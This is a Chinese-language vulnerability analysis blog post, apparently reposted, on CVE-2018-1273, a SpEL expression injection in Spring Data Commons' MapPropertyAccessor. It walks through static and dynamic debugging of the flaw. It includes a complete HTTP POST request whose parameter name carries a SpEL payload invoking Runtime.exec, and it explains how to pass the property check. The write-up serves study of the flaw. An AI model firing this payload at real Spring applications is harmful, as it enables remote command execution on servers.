内容简介:漏洞分析最应该关注的是漏洞相关的代码,至于其余的代码可以通过关键位置下断点,来理解大概功能。其中最关键的就是了解数据流,找到离漏洞位置最近的 原始数据 经过的位置,然后开始往下分析,一直到漏洞位置。一个漏洞的触发的数据流动如下图所示:
漏洞分析的边界
漏洞分析最应该关注的是漏洞相关的代码,至于其余的代码可以通过关键位置下断点,来理解大概功能。
其中最关键的就是了解数据流,找到离漏洞位置最近的 原始数据 经过的位置,然后开始往下分析,一直到漏洞位置。
一个漏洞的触发的数据流动如下图所示:
触发漏洞,首先需要输入数据,然后数据会通过一些通用的流程,比如请求参数的复制,传递之类的, 然后数据会传到一个离漏洞点比较近的位置,然后进入漏洞逻辑,触发漏洞。
所以在进行漏洞分析时我们需要做的工作主要是
-
定位到离漏洞点比较近的数据传输位置(可以在关键位置下断点,然后猜测参数和请求数据的关系)
-
分析漏洞
CVE-2018-1273漏洞分析
静态代码分析
漏洞位于MapPropertyAccessor 类的 setPropertyValue 方法
private static class MapPropertyAccessor extends AbstractPropertyAccessor {
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
}
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}
value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
}
}
函数调度参数值的内容为 POST 请求的参数名。
上述代码的流程为
-
首先通过 isWritableProperty 校验参数名部分 , 检测 参数名 是否为 controller 中设置的 请求数据 映射对象中的成员变量。
-
然后创建一个 StandardEvaluationContext , 同时 PARSER.parseExpression 设置需要解析的表达式的值为函数传入的参数
-
最后通过 expression.setValue 进行 spel 表达式解析。
动态调试分析
首先下载官方的示例程序
https://github.com/spring-projects/spring-data-examples
然后切换到一个比较老的有漏洞的版本
git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d
最后用 idea 导入 maven 项目。
然后运行 web/example 项目即可
我们在 setPropertyValue 下个断点,然后通过 burp 发送 payload 过去
POST /users HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8080/users Content-Type: application/x-www-form-urlencoded Content-Length: 123 Connection: close Upgrade-Insecure-Requests: 1 username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx
其中执行命令的 payload 如下
[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]
# 在 spel 中有两个变量可以访问,为 #this 和 #root, 其中 #root 通过 setRootObject 设置 , 我们可以通过 #this 以反射的方式执行命令。
可以看到参数为 我们 POST 请求中的 参数名部分 。然后他会进入 isWritableProperty 进行校验,校验通过才能触发漏洞。
isWritableProperty 最后会调用 getPropertyPath 进行校验。
private PropertyPath getPropertyPath(String propertyName) {
String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
return PropertyPath.from(plainPropertyPath, this.type);
}
首先通过正则取出需要设置的参数名 (arg[] 的作用是设置 arg 数组中的值, 这里就相当于取出arg) 放到 plainPropertyPath 里面 .
然后判断 plainPropertyPath 是不是 this.type 里面的一个属性。
其中 this.type 就是在 controller 处用到的用于接收参数的类。
所以我们用这个类的 一个字段 + [payload] 构造 spel payload 就可以执行spel表达式。
然后就会弹计算器了。
总结
根据漏洞作者博客,这个漏洞的发现过程是通过 find-sec-bug 这个插件匹配到 spel 表达式的解析的位置,然后从这个位置回溯,发现该函数的参数就是 POST 的参数名部分(用户可控的部分),于是分析有漏洞的函数,发现只要过掉开头的 check 就可以触发漏洞。
参考
https://xz.aliyun.com/t/2269#toc-1
http://blog.nsfocus.net/cve-2018-1273-analysis/
https://gosecure.net/2018/05/15/beware-of-the-magic-spell-part-1-cve-2018-1273/
https://blog.csdn.net/qq_22655689/article/details/79920104
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Web Designer's Idea Book, Vol. 2
Patrick McNeil / How / 2010-9-19 / USD 30.00
Web Design Inspiration at a Glance Volume 2 of The Web Designer's Idea Book includes more than 650 new websites arranged thematically, so you can easily find inspiration for your work. Auth......一起来看看 《The Web Designer's Idea Book, Vol. 2》 这本书的介绍吧!